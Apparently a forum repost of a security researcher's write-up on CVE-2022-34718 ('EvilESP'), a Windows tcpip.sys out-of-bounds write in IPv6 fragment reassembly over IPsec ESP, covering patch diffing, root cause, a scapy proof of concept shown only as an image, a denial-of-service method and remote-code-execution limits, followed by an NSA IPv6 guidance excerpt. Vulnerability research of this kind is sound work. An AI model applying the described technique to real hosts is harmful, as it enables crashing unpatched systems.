    0vercl0ck previously published a blog post doing vulnerability analysis on a different Ipv6 vulnerability and went deep into the reverse engineering of tcpip.sys. From this work and some additional reverse engineering, I was able to fill in structure definitions for the undocumented Packet_t and Reassembly_t objects, as well as identify a couple of crucial local variable assignments.

    EvilESP_10.png

    Decompilation output of Ipv6ReassembleDatagram

    In the above code snippet, the pink box surrounds the new code added by the patch. Reassembly->nextheader_offset contains the byte offset of the next_header field in the Ipv6 fragmentation header. The bounds check compares next_header_offset to the length of the header buffer. On line 29, HeaderBufferLen is used to allocate a buffer and on line 35, Reassembly->nextheder_offset is used to index and copy into the allocated buffer.

    Because this check was added, we now know there was a condition that allows nextheader_offset to exceed the header buffer length. We’ll move on to the second patched function to seek more answers.

    IppReceiveEsp

    Looking at the function graph side by side in the BinDiff workspace, we can identify some new code blocks introduced into the patched function:

    EvilESP_11.png

    Side-by-side comparison of the pre- and post-patch function graphs of IppReceiveEsp

    The image below shows the decompilation of the function IppReceiveEsp, with a pink box surrounding the new code added by the patch.

    EvilESP_12.png

    Decompilation output of IppReceiveESP

    Here, a new check was added to examine the Next Header field of the ESP packet. The Next Header field identifies the header of the decrypted ESP packet. Recall that a Next Header value can correspond to an upper layer protocol (such as TCP or UDP) or an extension header (such as fragmentation header or routing header). If the value in NextHeader is 0, 0x2B, or 0x2C, IppDiscardReceivedPackets is called and the error code is set to STATUS_DATA_NOT_ACCEPTED. These values correspond to IPv6 Hop-by-Hop Option, Routing Header for Ipv6, and Fragment Header for IPv6, respectively.

    Referring back to the ESP RFC it states, “In the IPv6 context, ESP is viewed as an end-to-end payload, and thus should appear after hop-by-hop, routing, and fragmentation extension headers.” Now the problem becomes clear. If a header of these types is contained within an ESP payload, it violates the RFC of the protocol, and the packet will be discarded.

    Putting It All Together

    Now that we have diagnosed the patches in two different functions, we can figure out how they are related. In the first function Ipv6ReassembleDatagram, we determined the fix was for a buffer overflow.

    EvilESP_13.png

    Decompilation output of Ipv6ReassembleDatagram

    Recall that the size of the victim buffer is calculated as the size of the extension headers, plus the size of an Ipv6 header (Line 10 above). Now refer back to the patch that was inserted (Line 16). Reassembly->nextheader_offset refers to the offset of the Next Header value of the buffer holding the data for the fragment.

    Now refer back to the structure of an ESP packet:

    EvilESP_14.png

    Top Level Format of an ESP Packet

    Notice that the Next Header field comes *after* Payload Data. This means that Reassembly->nextheader_offset will include the size of the Payload Data, which is controlled by the size of the data, and can be much greater than the size of the extension headers. The expected location of the Next Header field is inside an extension header or Ipv6 header. In an ESP packet, it is not inside the header, since it is actually contained in the encrypted portion of the packet.

    EvilESP_15.png

    Illustrated root cause of CVE-2022-34718

    Now refer back to line 35 of Ipv6ReassembleDatagram, this is where an out of bounds 1 byte write occurs (the size and value of NextHeader).

    Reproducing the Bug

    We now know the bug can be triggered by sending an IPv6 fragmented datagram via IPsec ESP packets.

    The next question to answer: how will the victim be able to decrypt the ESP packets?

    To answer this question, I first tried to send packets to a victim containing an ESP Header with junk data and put a breakpoint on to the vulnerable IppReceiveEsp function, to see if the function could be reached. The breakpoint was hit, but the internal function I thought did the decrypting IppReceiveEspNbl, returned an error, so the vulnerable code was never reached. I further reverse engineered IppReceiveEspNbl and worked my way through to find the point of failure. This is where I learned that in order to successfully decrypt an ESP packet, a security association must be established.

    security association consists of a shared state, primarily cryptographic keys and parameters, maintained between two endpoints to secure traffic between them. In simple terms, a security association defines how a host will encrypt/decrypt/authenticate traffic coming from/going to another host. Security associations can be established via the Internet Key Exchange (IKE) or Authenticated IP Protocol. In essence, we need a way to establish a security association with the victim, so that it knows how to decrypt the incoming data from the attacker.

    For testing purposes, instead of implementing IKE, I decided to create a security association on the victim manually. This can be done using the Windows Filtering Platform WinAPI (WFP). Numen’s blog post stated that it’s not possible to use WFP for secret key management. However, that is incorrect and by modifying sample code provided by Microsoft, it’s possible to set a symmetric key that the victim will use to decrypt ESP packets coming from the attacker IP.

    Exploitation

    Now that the victim knows how to decrypt ESP traffic from us (the attacker) we can build malformed encrypted ESP packets using scapy. Using scapy we can send packets at the IP layer. The exploitation process is simple:

    EvilESP_16.png

    CVE-2022-34718 PoC

    I create a set of fragmented packets from an ICMPv6 Echo request. Then for each fragment, they are encrypted into an ESP layer before sending.

    Primitive

    From the root cause analysis diagram pictured above, we know our primitive gives us an out of bounds write at

    offset = sizeof(Payload Data) + sizeof(Padding) + sizeof(Padding Length)

    The value of the write is controllable via the value of the Next Header field. I set this value on line 36 in my exploit above (0x41 ).

    Denial of Service (DoS)

    Corrupting just one byte into a random offset of the NetIoProtocolHeader2 pool (where the target buffer is allocated), usually does not immediately cause a crash. We can reliably crash the target by inserting additional headers within the fragmented message to parse, or by repeatedly pinging the target after corrupting a large portion of the pool.

    Limitations to Overcome For RCE

    offset is attacker controlled, however according to the ESP RFC, padding is required such that the Integrity Check Value (ICV) field (if present) is aligned on a 4-byte boundary.

    Because

    sizeof(Padding Length) = sizeof(Next Header) = 1,

    sizeof(Payload Data) + sizeof(Padding) + 2 must be 4 byte aligned.

    And therefore:

    offset = 4n - 1

    Where n can be any positive integer, constrained by the fact the payload data and padding must fit within a single packet and is therefore limited by MTU (frame size). This is problematic because it means full pointers cannot be overwritten. This is limiting, but not necessarily prohibitive; we can still overwrite the offset of an address in an object, a size, a reference counter, etc. The possibilities available to us depend on what objects can be sprayed in the kernel pool where the victim headerBuff is allocated.

    Heap Grooming Research

    EvilESP_17.png

    The affected kernel pool in WinDbg

    The victim out of bounds buffer is allocated in the NetIoProtocolHeader2 pool. The first steps in heap grooming research are: examine the type of objects allocated in this pool, what is contained in them, how they are used, and how the objects are allocated/freed. This will allow us to examine how the write primitive can be used to obtain a leak or build a stronger primitive. We are not necessarily restricted to NetIoProtocolHeader2. However, because the position of the victim out-of-bounds buffer cannot be predicted, and the address of surrounding pools is randomized, targeting other pools seems challenging.

    Demo

    Watch the demo exploiting CVE-2022-34718 ‘EvilESP’ for DoS below:

    Loading video

    Takeaways

    When laid out like this, the bug seems pretty simple. However, it took several long days of reverse engineering and learning about various networking stacks and protocols to understand the full picture and write a DoS exploit. Many researchers will say that configuring the setup and understanding the environment is the most time-consuming and tedious part of the process, and this was no exception. I am very glad that I decided to do this short project; I understand Ipv6, IPsec, and fragmentation much better now.

    To learn how IBM Security X-Force can help you with offensive security services, schedule a no-cost consult meeting here: IBM X-Force Scheduler.

    If you are experiencing cybersecurity issues or an incident, contact X-Force to help: U.S. hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034.

    References

    1. https://www.rfc-editor.org/rfc/rfc8200#section-4.5
    2. https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html
    3. https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/#diffing-microsoft-patches-in-2021
    4. https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml
    5. https://datatracker.ietf.org/doc/html/rfc4303
    6. https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-34718

    Sursa: https://securityintelligence.com/posts/dissecting-exploiting-tcp-ip-rce-vulnerability-evilesp/

    • Thanks 1
  13. Executive summary Nearly all networked devices use the Internet Protocol (IP) for their communications. IP version 6 (IPv6) is the current version of IP and provides advantages over the legacy IP version 4 (IPv4). Most notably, the IPv4 address space is inadequate to support the increasing number of networked devices requiring routable IP addresses, whereas IPv6 provides a vast address space to meet current and future needs. While some technologies, such as network infrastructure, are more affected by IPv6 than others, nearly all networked hardware and software are affected in some way as well. As a result, IPv6 has broad impact on cybersecurity that organizations should address with due diligence. IPv6 security issues are quite similar to those from IPv4. That is, the security methods used with IPv4 should typically be applied to IPv6 with adaptations as required to address the differences with IPv6. Security issues associated with an IPv6 implementation will generally surface in networks that are new to IPv6, or in early phases of the IPv6 transition. These networks lack maturity in IPv6 configurations and network security tools. More importantly, they lack overall experience by the administrators in the IPv6 protocol. Dual stacked networks (that run both IPv4 and IPv6 simultaneously) have additional security concerns, so further countermeasures are needed to mitigate these risks due to the increased attack surface of having both IPv4 and IPv6.

     

    Download: https://media.defense.gov/2023/Jan/18/2003145994/-1/-1/0/CSI_IPV6_SECURITY_GUIDANCE.PDF

×
×
  • Create New...